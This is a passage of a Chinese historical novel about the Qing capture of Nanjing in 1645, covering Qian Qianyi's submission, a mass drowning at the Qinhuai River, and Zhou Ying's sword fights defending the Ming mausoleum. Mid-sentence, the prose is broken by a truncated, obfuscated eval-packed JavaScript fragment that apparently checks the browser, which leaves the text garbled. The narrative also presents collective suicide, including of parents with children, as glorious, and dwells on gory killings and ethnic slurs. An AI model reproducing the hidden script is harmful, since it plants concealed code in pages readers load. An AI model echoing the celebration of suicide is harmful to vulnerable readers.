他撑住膝盖的双手不住发抖,连忙拿袖子遮住。 一名清军上前解开他的发髻,随即操起剃刀,三下五除二将他顶上的头发剃去大半,露出逼青的头皮,与残余的发丝形成刺眼的对比。 士绅百姓们无不瞠目结舌,不可思议。 谁敢相信昔日文坛领袖、前明礼部尚书,竟当众屈从蛮夷之制? 又觉得他一剃头,所有气度华操、风流文采都随着三千发丝荡尽,像个为求苟活,毫无尊严的小丑。 周瑛心情复杂,揣测钱谦益这般作为,究竟是同情百姓,还是出于贪生怕死的品性? 她侧头遥望人群中的柳如是,见她神情恍惚,目光呆滞,俨然只剩一具空壳。 一道身影从降臣队伍里踉踉跄跄冲出来,直奔钱谦益。 周瑛看那人年约不惑,身着绯色官服,胸前补子绣着云雁图案,是一个四品官。 那官员面若涂血,神情癫狂错愕,泪流滚滚地指着钱谦益大骂:“钱谦益!你……你竟然剃了蛮夷之发!这就是你所谓的‘救民于水火’?这就是你标榜的‘保存江南文脉’?你这无耻老匹夫!今日剃发,明日便要易服,后世史书上,你我皆是千古罪人!我当初真是瞎了眼,竟信了你这猪狗不如的东西!” 此人本是钱谦益的门生,当初被他以 “保全百姓、暂避锋芒” 的说辞劝导投降,心中本就十分不甘。今见恩师亲自带头屈从满清暴政,胁迫百姓剃发,感觉被最信任敬重之人狠狠欺骗,精神彻底崩溃,竟对着昏暗暗的天幕哈哈疯笑起来。 钱谦益虚怯惭愧,慌忙起身安抚:“子源莫要误解!我这也是权宜之计啊!” 那官员狠狠啐他一口,扯着嗓子厉声嚎叫:“吾中华衣冠发式,岂能为蛮夷所毁!发不可剃,心不可辱;身可死,华夏不可亡!” 说完不等清军上前捉拿,悍然扭身横冲直撞奔向秦淮河岸。在一众惊呼声中纵身一跃,坠入湍急浪涛,转瞬没顶消失了。 “爹!” 一名青年哭喊追来,望着茫茫河水跳脚悲号。 他是那官员的儿子,见父亲已然无救,愤然高呼:“父为忠臣,儿当为孝子!誓不辱身于蛮夷!” 随后毫不犹豫地循着父亲的轨迹奋力跃入水中。 这父子二人的孤愤之举如同一颗火星投入干草垛,顿时令在场忠义之士热血沸腾。 先是一名怀抱婴儿的妇人悲呼:“我儿虽幼,亦是汉家郎,岂能剃蛮夷之发!” 紧紧搂住咿呀学语的孩子,奔至岸边俯冲投河。 人群好似决堤一般,再也无法遏制。成百上千的男男女女、老老少少,口中喊着 “华夏不灭”、“衣冠不可丧” 的悲壮口号,争先恐后冲向秦淮河岸。不光成年人义无反顾,连五六岁的孩童也紧随家长,唯恐落后。 一位残疾老妇人爬在儿子背上轻声说:“儿啊,我们不做胡奴” 儿子含泪点头,背着母亲奋勇投河。 一名书生跑出十几步后折回,从怔忪呆立的仆人手中夺过装书的包袱,抱着圣贤经典跳水。 一本《论语》落在岸边,书页被呼啸的风吹得哗哗作响,仿佛受惊的鸟儿。 “扑通”、“扑通” 的落水声仿佛越滚越大的雪球,将秦淮河拦腰阻断。堤下犹如下饺子,只见人影不住落水。 投河者像一群执着填海的精卫,以最极端惨烈的方式,捍卫着心中不可动摇的华夏尊严。 清军士兵忙乱阻拦,刀枪棍棒齐施仍挡不住这声势浩大的赴死阵营。 他们感受到了在战场上与明军对阵时不曾出现过的恐惧。这些手无寸铁的百姓靠以死为荣的信念洞穿了敌人不可一世的傲慢。 多铎的从容消失无踪,他訇然起身,回头望着那些战士冲锋般奔赴鬼门关的南京百姓们。 攻城略地、大敌当前、生死存亡时他都没慌过。 但此刻,他真真切切慌了。 还慌得寸心大乱,失去主张。 这些卑贱的汉民啊,他用刀剑劈开他们城门,靠权术谋夺朱家的国祚,却没料到他们能用死亡夺走他的战果,可以靠自毁让大清江山变成黄粱一梦。 他脸上阵青阵红,胸膛里烧着的是比恐惧更灼人的煎熬。 一种被蝼蚁绝地反击,狠狠打脸的暴怒与迷茫。 马世奇早前便沉浸在丧父的哀痛中,方才又亲眼目睹恩师何鹏飞舍身殉道,心中早已萌生死志,含泪对母亲说:“父亲为国捐躯,恩师守节罹难。儿子何忍独生,为蛮夷所奴役?” 马夫人一怔,望着儿子坚毅的脸庞,眼中浮现欣慰与不舍双重情愫,随即漼然微笑:“我儿如此,娘无憾矣。” 无需再多言语,母子携手奔向河岸。 周瑛被这前所未见的悲壮景象吓得浑身发颤,心神俱荡。见马家母子从跟前跑过,她赶忙伸手抓住马世奇的手腕,想阻止他们。 马世奇抬头,看她的眼神盈满愤恨,仿佛她不是昔日亲和的邻家大姐,而是逼迫他和母亲投身黑暗的歹人。 那眼神太过锋锐有力,周瑛震撼失神,不觉松开手,目送马世奇与马夫人飞快远去,没有丝毫迟疑,双双跳下河堤。 那姿态不像自尽,倒像是在投奔光明的净土,怀着令人心碎的欣喜与坦然。 周瑛停止颤抖,双拳紧握,体内涌动着焕然一新的力量。 她的心仿佛被盘古的神斧劈砍,剧痛中鸿蒙开辟,升起永恒不灭的太阳。 此前她只想护着家人,总觉得改朝换代不过换个皇帝,气节是文人的专美,权贵的专职,寻常人能苟全性命便好。 她鄙夷钱谦益的软骨,却只当那是人品瑕疵。直到—— 闽小梅的血,浇灭了她“富贵可避祸”的天真。 豪门的勇,颠覆了她“勋贵多蛀虫”的固念。 宦官的忠,撞碎了她“阉党皆无耻”的偏见。 原来,气节并非某一阶层的专属,它蛰伏在汉人的血脉中,每当刀斧临颈便引吭高歌。 听何鹏飞喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这迫使他睁大眼睛,新催生的恐慌几乎捏碎他的胆子,清晰预感:他恐怕承受不住来自妻子的审判。 而柳如是只是静静望着他,无悲无喜。 她望着他那半秃不秃的阴阳头,那身还没来得及换下的、沾染了尘土与卑鄙的旧官服,望着他萎靡不振、失魂落魄的窘态,心像一片冰封的荒原。 她曾劝他殉国,盼他守住文人最后的气节,可他找了 “水太凉” 的借口,折了自己的脊梁。 之前他被清将当众嘲讽 “不如太监有骨气”,她听了面皮着火,那是替所有曾经尊崇他的人感到的羞耻。 当他主动带头剃头,弄成这副不人不鬼的德性,被门生唾骂背弃,她不能不接受事实,那个文坛领袖、东林名士,就此死在了剃刀下。 百姓集体跳河的惨状近在眼前,河水呜咽,人影连片坠落,而这一切的导火索何尝不是他这个带头妥协的人,击碎了人们心中最后一点希望? 她看着他,看着这个自己托付终身、曾以为同气连枝的男人,如今犹如过街老鼠蜷缩在地上,眼里充满慌乱与怯懦。 她已不再怨恨,恨需要耗费心力,现在的钱谦益不值得她再动一丝情绪。 她犯不着骂他,谩骂在这般丑态面前都显得多余,他早已用行动骂尽了自身的软弱与无耻。 但那片冰封之下,仍有一丝微弱的颤动,那是对人性的悲悯。 她没忘记他曾在灯下校勘古籍的专注,没忘记他曾为民生疾苦上书的赤诚,可敌人的屠刀一至,那些美好便碎得无影无踪。 她看他像看一件被时代摧毁的旧物,叹息他终究没能守住初心,叹息口若悬河的信仰在乱世中竟崩塌得这般容易。 钱谦益最懂柳如。懂她笔底风雷的才情,懂她浊世独立的品性,懂她挣脱尘俗的卓绝思想,更懂她刻在骨子里的刚烈气魄。 他不配做她的知己,可又恰恰最知她的心,故而立刻理解了她藏在这幅神情背后的感受:哀莫大于心死。 柳如是目不转睛望着他,一如当年西湖游船中初见。 彼时她当着满座宾客对他坦露心迹:“如是不幸沦落风尘,却不甘困于柳巷。唯愿脱离秦淮河畔烟花地,随先生读书治学,求一份清明。” 他被这女子的志向与天赋打动,不仅倾力资助她脱籍,更不顾朝野非议、礼教束缚,坚持迎她入门。惟愿花前月下,添香抱琴,岁月静好,白首同心。怎奈后来天意弄人。 钱谦益千般思绪翻涌,心乱如麻,一字难发。 柳如是忽然嫣然一笑,那笑极淡,极轻,宛若一缕吹皱西湖水的柔风。 “到头来我还是要回到秦淮河上去。” 她这句不是对他说的,更像在感慨命运,随后转身飞奔着汇入涌向河岸的人流。 钱谦益的心差点从嗓子眼里蹦出来,却连呼喊的力气都没有。他挣扎爬起,官服被扯得歪歪斜斜,蹒跚着,一步一跌地追赶上去。 柳如是跑得极快,一口气冲到河堤边,不带停顿地跳下去。 冰冷的河水灌入口鼻,窒息和疼痛促使她本能地挣扎。少顷,一只有力的手从身后拽住她的衣衫,不住将她往浅水处拖。 她求死的决心毫不动摇,四肢乱扭要往深水去。 “钱夫人!不可!” 救她的人竟是周瑛,她有技巧地抱住她,硬将她拖上岸。 这丫头毕竟是武家出身,力大无穷,手臂如同铁箍,任凭她推打抓扯都挣脱不了。 柳如是狠命揪打怒骂,眼下她六亲不认,谁阻止她自尽,谁就是逼她变节的仇人。 周瑛箍住她的肩背,在她耳边急告:“夫人,钱大人是被迫投降的,您一定要说服他回心转意。这不止为了大明,更为了天下苍生啊!” 她了解柳如是挣脱风尘的志气、敢爱敢恨的性情,又见她在钱谦益投降、受万人唾骂之际,果断以死明志。从而深信她能成为自己忠贞的盟友。 她还知道钱谦益绝非寻常降臣。 此人是文坛领袖,门生故吏遍布天下,一言一行都能影响士林风向。他曾官至礼部尚书,熟悉朝堂运作与各方势力盘根错节的关系,手中仍握着人脉、声望等隐形筹码。更重要的是,他并非毫无良知,是受怯懦与算计驱使。这样的人,若能被唤醒,将成为反清的重要力量 。他的声望能凝聚涣散的人心,他的资源能为抗清义军提供支撑,其作用远非普通义士可比。 而要撬动钱谦益这颗关键棋子,柳如是是唯一的钥匙。 柳如是灵犀一现,如梦初醒,撕扯推打的双手改为竭力拥抱,已经沙哑的喉咙里迸出尖锐的痛哭声。 钱谦益投降后,她跟着陷入身败名裂的孤独绝境,以为人人都在鄙夷她,将视她为同流合污者。而周瑛不仅冒险救了她,还喊出 “钱大人是被迫的”。 这份祛病良药,暗夜明灯般的信任不止是安慰,更是对她人格的认可,比救命之恩更重,比管鲍之情更深。让她意识到这贱躯尚有机会扭转大明颓势。 她不断收紧臂膀,以拥抱的力度向深明大义的小友传递感激承诺,用哭声代替庄严的宣誓。 这一哭,哭尽了过往的绝望与屈辱。 这一抱,抱定了未来的使命与担当。 周瑛的救人之举令钱谦益感念至深。他向清将求情通融,讨来两名清兵护送周瑛回家。 黄昏前周瑛终于到家了,大门虚掩的模样和他们昨日出发时一样,这一昼夜想必无人进出。 她不管那两个进门后便肆意搜索财物的清兵,急着去找父亲。 清兵们像掉进米缸的大耗子,将所见的字画、瓷器尽力往口袋里装,依据他们之前洗劫的经验,这些玩意儿很值钱。 他们很快发现堂屋里金灿灿的关公像,立时贼眼发亮,嘴里 “哇啦” 叫唤着,扔下打包好的赃物,争相扑过去,一人抢先将贪婪的手伸向神像底座。 屏风后突然响起奇异的摩擦声,像是金属划过地面,沉闷又刺耳。 那伸手的清兵警觉地停下动作,示意同伴噤声,蹑手蹑脚走到屏风边探头查看。 一名头发斑白的男人正拖着一把明晃晃的偃月刀艰难爬行,如电的双目正好对上他。 那仇恨愤怒的神情立刻引爆清兵的敌意,嚎叫着拔出腰刀,并朝同伴呼喊示警。 另一名清兵赶来,二人拽倒屏风压住周世楠,准备行凶。 “爹!” 周瑛及时冲进门,她来不及去取墙角架子上的武器,挥舞大扫帚驱赶清兵,巧妙抽中左侧清兵的手腕上,打得他弯刀险些脱手。 那清兵吃痛怒吼,挥刀砍杀,劈断扫帚。 周瑛应变极快,右手握紧剩下的半截扫帚柄,不退反进,借着清兵挥刀的惯性,将尖锐的断口猛力扎进他的脖颈。 清兵的嚎叫卡在咳血声里,双眼突出,丢掉武器,双手捂住伤处,鲜血从指缝间汩汩涌出,顺着颈部淌满胸膛,身子软软倒下去,压垮了旁边的花几。 另一名清兵凶性勃发,挥刀直劈周瑛面门。 周瑛侧身急躲,刀锋擦着她的肩头掠过,劈在身后的窗户上。雕花窗扇破碎,木屑四溅,满屋乱飞。 她脚下一绊,见敌人后招已至,忙顺起身边一张八仙凳格挡。 弯刀劈中凳面,刀刃深深嵌入硬木里,一时拔不出来。 清兵急怒,双手攥住刀柄奋力撕扯,狂呼乱叫,想必都是恶毒诅咒。 周瑛奋力抵抗,见周世楠劈开屏风钻出来,忙冲他急喊:“爹!给我刀!” 周世楠不及多想,将那把传男不传女的冷月刀,以适宜抓取的角度向她用力抛出。 冷月刀起飞,仿若一道天桥横跨危机,接应飞渡者。 周瑛果断松开凳子,脚尖点地,身体如离弦之箭侧跃而出,右手精确握住刀柄。 这把刀,她从小眼羡到大,无数次想象过它的重量与手感。 此时握在手中,发现它不重不轻,长短合宜,仿佛为她量身定制。 那清兵已拔出弯刀,嚎叫着砍杀过来。 周瑛丹田发力,于空中旋身翻转,双手握刀,借着旋转的力道使出“混元七十二式”之“苍松倒悬”。 刀刃轨迹似一道凌厉闪电,从左上至右下,先斩断清军的弯刀,顺势自他右肩斜劈而入,一路切至左腰,他抬起的右脚尚未着地,人已断成两截。 鲜血混合着碎肉骨渣喷出,溅满一室。 周瑛落地,扎定马步,稳如磐石。祖辈驰骋疆场的豪情在她身体里苏醒,为她的眼神凝练出武将应有的杀意。 冷月刀斜指虚空,刃口滴血,刀身轻颤微鸣,像为寻得新主欢欣鼓舞。 关公像前一盘新供的佛手淋满鲜血,深红间碧,惊心动魄。 而神像兀自威严挺立,眉目辗然,似有嘉许之意。 周瑛放下刀,两三步冲到屏风残骸旁,搬开断裂的木架与残破的绢布,小心翼翼扶起周世楠,半搀半架地将他安置到椅子上,再匆忙取药物替他包扎伤口。 周世楠一把扯住她:“你怎么回来了?宗保他们呢?” 周瑛愧疚难过:“我们在城外被贼兵冲散了。”,又赶忙抬头安慰,“您放心,宗保他们大概已经平安逃出去了。” 周世楠舒了口气,眉头微松:“眼下城内情形如何?我听外面没动静,鞑子是怎么攻进来的?” 周瑛忿忿道:“今早钱谦益等人率领大臣们投降,清军已入城了。” 周世楠早料到会出现这一情况,并无太多意外,重重捶了一下扶手,悲愤交加唾骂:“这帮忘恩负义的小人,枉读圣贤书!” 周瑛不得不告诉他更残酷的消息:“鞑子王爷刚在三山门码头当众宣布,要所有汉人男子即日起剔成满人的发式,抗命者杀无赦。何鹏飞先生和众多儒生们带头抗议,都惨遭杀害。乡亲们难忍鞑子暴行,集体投河自尽,大概已死了上千人,马应魁大人的妻儿也当场殉节了……” 她叙述时珠泪涟涟,周世楠更听得心肺欲要炸裂,恨泪盈眶,颤抖着抓住她的肩头吩咐:“把刀拿过来,我要去孝陵,绝不能让鞑子冒犯太祖爷!” “爹……” 周世楠怒吼:“到现在你还拦着我!?” 周瑛忙端正跪好,神色肃穆如祭:“女儿不是拦您,是要替您去守陵!” 周世楠怒火僵在脸上,惊讶地注视她。 周瑛仰头望着他,笑中带泪:““爹,我终于明白文丞相当初为何宁死不降了。如果汉人个个都没骨气,蛮夷定会变本加厉欺压我们,只有更多像文丞相那样勇敢的人拼死反抗,他们才会明白我们汉人不是好欺负的,才不敢把我们往绝路上逼。文丞相是用自己的死,换更多人的生,如今我们也要像他那样,拼尽最后一口气,保住汉人的根!” 历史易被遗忘,忠良洒血镌刻坐标。道统常遭颠覆,英雄燃魂浇筑基石。 古今先烈们一致向世人宣告:华夏儿女不是能被征服、同化的弱势族群,有 “为尊严而死” 的血性。华夏精神的存续绝非靠一两个王朝,靠得是无数个像文天祥这样,愿意为尊严和信仰献出一切的中国人。 她是华夏儿女中的一员,当仁不让,义不容辞。 周瑛用父亲交付的钥匙打开他长久封闭的大楠木柜子,一幅半新不旧的千户官铠甲出现在眼前。铠甲上的铁片受惊似的泛着微光,似在诧异召唤自己的为何不是当年那位英武的千户官,而是一名与他有着相似坚毅表情的少女。 这副铠甲追随父亲多年,见证过他最光辉的岁月,如今将跟随她走向旧日的防区。 她双手捧起铠甲,仿佛捧起列祖列宗积淀的荣誉。 她的先祖追随明太祖南征北战,驱蒙元、定社稷,开创大明三百年江山。 而她站在明朝土崩瓦解的前夕,面对的是比蒙古人更凶暴骄横的满清铁骑,这场战斗注定是一场毫无悬念的赴死。 可她坚信自己战斗的意义超越先祖。不为一门一族的荣华富贵,是为全体汉人争取生机,为华夏守护文脉,完成圣贤们未竞之事业。 临行前,她对着父亲恭恭敬敬磕了三个头。 一拜,谢生养教诲之恩。额头触地的一瞬,她想起父亲十余年的抚育,回味着粗粝但真挚的父爱。 二拜,承世代守陵之责。她虽为女流,却在这末世成为周家的中流砥柱,必誓死贯彻家族使命。 三拜,作生死诀别之礼。抬头时她见父亲双眼噙泪,目光中多了过去没有的期望和倚重。 剃头令颁布,大量南京百姓又开始外逃,几个城门尚未与清军交接换防,守将冒死为逃难百姓放行,周瑛趁机从通济门出城,赶往孝陵。 薄雾浓云笼罩着紫金山南麓,暮色来得比平日更早。 十几个清军骑兵的马蹄踏破了村庄的静谧。他们无视军令八方肆虐,刀背砸得村民头破血流、马鞭抽得男女惊哭惨叫。 箱笼被劈得粉碎,锅碗瓢盆被粗暴砸烂,搜不到值钱财物的清军接连点燃十几座民宅,警告那些“不老实”的村民。 村口的空地上,几个妇人被按在泥里撕扯,鬓发散乱,鞋袜尽失,四肢血痕斑斑。 有个穿青布裙的媳妇拼死挣扎,被清军揪住头发粗暴拖行,发根撕裂的剧痛逼得她凄厉尖叫,声长不绝。 几个孩子唬得如同失巢小鸡,一个满脸横肉的汉人清军刀尖一挑,割走了他们脖子上挂着的银制长命锁,护身符。 这群兵痞里,满汉各占一半,汉军里领头的那个原是江北溃兵,见村里几个乡绅家的宅院阔绰,说其祖上定然有钱,胁迫乡绅们带路去挖自家祖坟。 几个满人清军抱臂嬉笑,兴冲冲看热闹,任由汉人清军驱使全体村民前往坟茔。 他们用刀枪抵住乡绅们的背心,强迫村民们扛起锄头铁锹掘墓。 一个耄耋之年的乡绅跪在地上苦苦哀求,宁愿捐出家中所有粮食财物,却被那汉人清军一脚踹中胸口,再生生割下他一只耳朵。 乡绅惨叫倒地,半面浸血,疼得团缩抽搐。 另一乡绅见祖坟受损,悲怒已极,猛然撞祖宗墓碑自尽,额头碰得鲜血淋漓,却没能当场断气,半死不过趴在碑前哼唧。 在场村民无不大哭,叫天天不应,叫地地不灵。 “哭个屁!” 那汉人清兵踹了一脚旁边的村民,“这已算轻的了!早几日遇见的村子我们都一律杀光!再敢磨蹭就是自己找死!” 一个村民实在忍不住,痛哭道:“这位爷,你们也是汉人老百姓出身,为何苦苦相逼啊!” 汉人清兵冷笑:“朝廷几个月没发饷,上头说了,抢来的财物归自己,抢到的人口可变卖为奴!我们要吃饭,不问你们要问谁要?” 他命同伙从人群中拖出几个年轻后生,利刃压颈。 “再不听话,人头落地!” 村民们栖遑悚惧,只得含泪向受害乡绅磕头告罪,心惊胆战举起锄头去挖他们祖坟上的封土。 乡绅们及其家人扑在坟前打滚嚎哭,有的直接气晕过去,情状惨不忍睹。 村中一位五十多岁的老军户义愤难平,举起铁锹袭击一名清军。 那清兵侧身躲过,挥刀砍断锄头柄,另外两个帮手扑上来将老军户按倒,先用刀背对准他的脊背一顿敲砸,打得衣衫破碎,口鼻出血。 村民们魂不附体,无一人敢救。 静默中一道身影健步如飞地从人群中走出。那人身披明朝千户官铠甲,手提冷艳锯,姿态从容飒爽,火光明暗中显得亦真亦幻。 凡是看见军官的村民都惊得合不拢嘴,喜悦似火苗从心底窜出,又唯恐贸然出声吹灭了这朵火苗,慌忙捂住自己和旁人的嘴。 踩住老军户的清兵想杀一儆百,正举刀对准他的后脖。 一道银弧破空,那颗贼眉鼠眼的脑袋被齐颈斩落,拖着长长的血线飞进坟堆。 清兵们以为明军来袭,惊起围攻。 周瑛身形飞旋,冷月刀在手中流转自如,攻则裂石断金,守则刚柔兼备,势若雷霆摧壁垒,姿如流电破妖氛。招招不落,刀刀中的,砍手、断脚、封喉、劈脑,转眼除恶已毕,收刀屹立,盔甲整齐,刀不沾血。 村民们咬指啖舌,疑是神将出世。 那老军户是会家,看到这出神入化的刀法,暂时忘却疼痛,勉力大赞:“好刀法!好刀法啊!” 村民们回过神来,祭神拜佛似的围住周瑛跪倒,哭着谢恩求救:“谢军爷救命大恩!”、“军爷可是王师先锋?”、“听说鞑子进城了,果真如此吗?” 这村子是去往孝陵的必经之路,方才周瑛路过村口,见村中起火,料得有鞑子掳掠,进村杀了几个正在抢劫的清兵,循着火光来到这处坟茔。 她同情又无奈地低语:“鞑子已占领南京,我只救得了你们一时。村里那几个鞑子兵也被我杀了,你们赶紧将尸体都烧了,谨防鞑子来屠村。” 村民们听说南京沦陷,纷纷坐地嚎哭,如丧考妣,都认为今日的劫难只是预演,不久将会面临更凄惨的结局。 一人见周瑛扛刀离去,忙问:“敢问军爷去往何处?” 周瑛没回头,脚步不停,清越话音穿透夜雾:“守孝陵。” 人群静了一霎。 那老军户挣扎着推开搀扶者,意气风发呼喊:“定是孝陵卫的好汉!娘的,老子豁出去了!这条命卖给太祖爷了!” 一瘸一拐急匆匆回家取封存的披挂兵器。 一个老乡绅哭着对众人说:“我们住在孝陵脚下,世代受太祖爷神灵庇佑,断不能让鞑子冒渎他老人家!都应该去协助守陵!” 他深知祖坟迟早难保,不如提前为国尽忠。 其他人亦如是。 村中房屋犹在燃烧,鞑子散兵还会接二连三滋扰,与其任人宰割,不如去孝陵拼个鱼死网破,痛痛快快出口恶气。 于是分头收拾武器干粮,安置好妻小,趁着夜色朝孝陵方向进发。 6. 孤忠守陵门 自打清军突破淮河防线的消息传至南京,田子兴便加紧操练军士。弓手每日五更便在神道石兽间练准头,火铳手反复演练装弹射击,工匠们则昼夜加固卫所营垒,将削尖的木桩布满营前空地,又从库房中翻出尘封的八门火炮,擦拭调试以备急用。 田子兴与朝阳门守将郭广是总角之交,情谊深厚,约定一旦清军攻城,郭广死守城门,田子兴率孝陵卫精锐从紫金山侧后偷袭,前后夹击敌军。 五月十五日辰时,天刚破晓,南京城却传来惊雷般的噩耗。钱谦益率百官大开城门前往城郊迎降多铎,还传下伪诏,令各城门守将即刻献城,不得阻拦清军入城。 郭广在朝阳门城头听闻此讯,裂眦嚼齿,拔剑劈砍城砖,火星四溅:“这□□佞平日高谈春秋大义,临事却腼颜事敌,与衣冠禽兽何异?” 他断然撕毁伪诏,对麾下将士嘶吼:“今日我郭广宁死不降!愿同我杀贼者,随我出战!” 众军士皆拔剑高呼:“愿与将军共进退!” 郭广当即率麾下八百精兵埋伏在朝阳门瓮城两侧,待清军先头部队耀武扬威地踏入城门,他鸣铳为号,箭簇如雨倾泻,清军前锋纷纷倒地,惨叫连绵。 田子兴早已接到郭广急讯,按约定率军驰援。 田文琼自请为先锋,率领一百五十名弓箭手、五十名火铳手疾奔至紫金山脚下的密林之中,抢占高地。 待清军后续部队蜂拥入城,被郭广部牵制在朝阳门内时,田文琼与弓箭手们拉满弓弦,羽箭穿透晨雾,直奔清军后队而去。 火铳手们则轮流射击,“砰砰” 声响轰耳刺心,铅弹呼啸着嵌入清军甲胄,炸开一朵朵血花。 清军猝不及防,后队大乱,人马相撞,自相践踏。 田子兴随即下令推出八门火炮,炮口对准清军密集处,八炮齐开,火光冲天,硝烟弥漫,炮弹落地处土石冲天。清军骑兵队被轰得人仰马翻,战马受惊狂嘶,被阻不前。 然而,正当军士们热火朝天,战意昂扬装填第二轮弹药时,怪事发生了。点火后,火炮只发出沉闷的 “噗噗” 声,无一发炮弹射出。 田子兴忙派人查问。 一名炮兵撬开炮膛,只见里面的炮弹竟是空心铁壳,仅裹着一层沙土,哪里有火药的影子! “兵部那群狗官贪赃枉法!让军器局拿空弹充数,害死我们了!” 军士们气得双目赤红,挥刀砍向炮身,有的伏地痛哭。 田子兴见惯官场腐败,军饷被克扣、军器掺假已是常态,仰天长叹,眼枯无泪:“罢了!大明的江山早已烂透了,也不差这几颗炮弹!” 冰冻三尺非一日之寒,明室有今日之败局实乃积重难返。 没了火炮支援,清军很快稳住阵脚。 多铎当即调派重兵,一面围剿朝阳门内的郭广部,一面分兵反扑紫金山下的孝陵卫。 郭广部本就兵力薄弱,又无后援,在清军的轮番冲击下,渐渐不支。 郭广手持长枪,连挑数名清军,身上鲜血浸透,最终力竭,被清军乱刀砍倒,临死前犹金刚怒目,高喊着:“杀鞑子!” 孝陵卫这边亦是危在旦夕。 清军的火铳射程远超弓箭,弓手们刚探身射击,便被清军的铅弹击中,相继倒地。 田文琼一箭射穿清军一名什长的咽喉,手提大刀亲自断后,砍杀数名冲上来的清军。田子兴眼看军士们死伤过半,紧急下令撤回卫所。 残余军士相互搀扶,且战且退。 好在清军急于接管南京城,不愿在城外过多纠缠,暂未追赶。 退回孝陵卫后,田子兴清点人数,仅剩四百三十一人,且半数年老伤残,或是刚入伍不久、缺乏战场经验。 他望着这些疲累沮丧的将士,心中五味杂陈,向他们凝重宣话:“我田家世代守卫孝陵,职责所在死而后已。如今百官叛降,社稷失守,南京城已易主,汝等家中多有妻儿老小,若有恋家贪生者,可速去,田某绝不阻拦。” 军士们听闻都露出忧愤悲戚之色。 稍后一名老兵站了出来,高声武气道:“大人待我等恩重,危难时刻我等岂能负心背逃?何况鞑子刚杀了我们那么多弟兄,此仇不报,如何做人?就算拼得粉身碎骨,也要守住太祖陵寝!” “对!与孝陵共存亡!” “杀鞑子!报仇雪恨!” 军士们一致响应,呼声震彻卫所。 田子兴感铭肺腑,拱手道:“能与诸位忠义之士同生共死,田某此生无憾!” 当夜,全军加紧戒备,加固营垒,磨砺兵器。 次日侵晨,天色未亮,山下哨兵鸣镝预警。 清军派正蓝旗四百余人,在一名参领的率领下,直奔孝陵卫而来。 这只队伍装备精良,火铳、弓箭齐发,攻势猛烈,配合云梯攻城、火油烧营,很快冲破营前防线,长驱直入。 田子兴指挥军士顽强抵抗,怎奈清军皆是长期作战的青壮,悍勇异常,孝陵卫残部渐渐不支,被迫向大金门方向撤退。 危亡迫在眉睫,清军后方突然大乱,传来激烈的喊杀声、惨叫声。 田子兴惊疑不定,抬头望去,只见一群身着短褐、头戴斗笠的平民,手持柴刀、钉耙、斧子、猎刀等器械,从紫金山的密林中冲杀出来。 他们虽无甲胄,武器简陋,却个个悍不畏死,对着清军的后队猛砍猛杀。一名猎户模样的汉子,手持猎刀,一刀便劈断了一名清军的脚踝。十几个农夫挥舞钉耙,将几名清军打倒后乱耙锄死。 田子兴惊奇地认出这些人是居住在孝陵卫周边的百姓。 清军参军以为村民只是群乌合之众,初时并未在意,清兵们更是如狼似虎,恃强凌弱,数十村民转眼惨丧刀口。 正当鞑子们掉以轻心,人群中杀出一将。那人身披明制千户铠甲,手中一柄偃月刀如银虹匹练。 一名清军士卒尚未看清来人面容,便被拦腰斩断,血雾迸发,众目皆惊。 不等清军反应,周瑛已杀入阵中。 她步法沉稳如岳,刀快如风,一式 “力劈华山” 直取敌首,紧接着 “星河横断” 带起漫天刀风,三个清兵同时被削断手腕。 旋身之际使出 “丹霞穿云”,刀背磕飞袭来的火铳弹,刀刃顺势划开两名清军的咽喉。刀法大开大合又暗藏玄机,化繁为简间招招致命。 银甲在敌阵中穿梭,彷如猛虎入羊群、疾风扫落叶,偃月刀起落处,清军士卒像被收割的庄稼毫无招架之力,惨呼不断。 清军上下皆惊,想不到孝陵卫还藏着如此猛将。 一些孝陵卫的老兵认出这是周家的“混元七十二式”刀法,以为周世楠病愈复出,都欣喜若狂呼喊:“周千户!是周千户!” “周千户来了!我们有救了!” ……………… 田文琼正扶着一名伤员撤退,闻声望去,看清那明将侧脸时,心头一紧,急声嘶吼:“瑛娘!” 周瑛心无旁骛,专心杀敌。她紧抿朱唇,凤眼中燃着复仇的烈焰。 清军凶神恶煞的面容、野兽般的咆哮,迎面而来的刀光剑影,都无法撼动她分毫。 眼前横飞的肢体,溅到脸庞的热血,凄厉的惨叫也不能再动摇她的心智。 脑中只想着惨死的挚友、英勇捐躯的义士、秦淮河畔绝望投河的百姓,还有不计其数因战乱流离丧生的无辜者。 此刻杀戮绝非罪过,她要用刀锋为汉人讨尊严,以铁血震慑这群残暴的异族侵略者。 “杀回去!为大家伙们报仇!” 田子兴见此情景,振臂高呼。 孝陵卫的军士们本已精疲力竭,见百姓前来助战,大受鼓舞,更因银甲猛将连斩清军、信心失而复得。 弓手们稳中求快射击清军后队;火铳手找准间隙射击,精准干扰敌阵;田文琼提刀冲锋,一刀劈死一名清军,与周瑛前后呼应。 清军腹背受敌,阵型也被周瑛带领一路乡勇冲散,少时溃不成军。 那参军眼见士卒死伤过半,再斗下去恐有覆没之险,咬牙呼号:“撤!快撤!” 清军拖拽伤员,丢盔弃甲地向南京城方向逃窜,留下两百多具尸体。 不等战场烟尘散去,田文琼狂奔冲上前,一把抓住正与乡勇清点伤亡的周瑛,颤抖责备:“瑛娘,你疯了!谁让你来的?!” 周瑛见他甲胄染血却毫发无伤,紧绷的脸漾起笑意,拍了拍他的肩膀安抚道:“我替爹来守陵。” 几名老兵围过来,周瑛从小在卫所进出,许多老兵都认得她,惊呼:“周娘子,怎么是你?” 周瑛笑着与熟人问好,转头见田子兴快步走来,忙上前躬身行礼:“田伯父安好?” 田子兴眉头紧锁,关切道:“瑛儿,你爹呢?” 他以为周世楠已死,周瑛才有如此鲁莽的举动。 周瑛笑道:“我爹在家,是他允许我来的。” 田子兴不及细问,几个乡贤已领着助战的村民们过来说话。 他连忙整肃衣冠,向村民们拱手致谢,又说:“乡亲们何故冒如此大风险?田某心下难安啊。” 领头的乡贤说:“田大人多礼了,我等世居于此,靠孝陵土地谋生,蒙卫所将士日夜守护,这份恩情早已深入骨髓。如今国难当头,孝陵遭劫,我等岂能袖手旁观?便是拼了性命,也要与将士们共守太祖陵寝。” 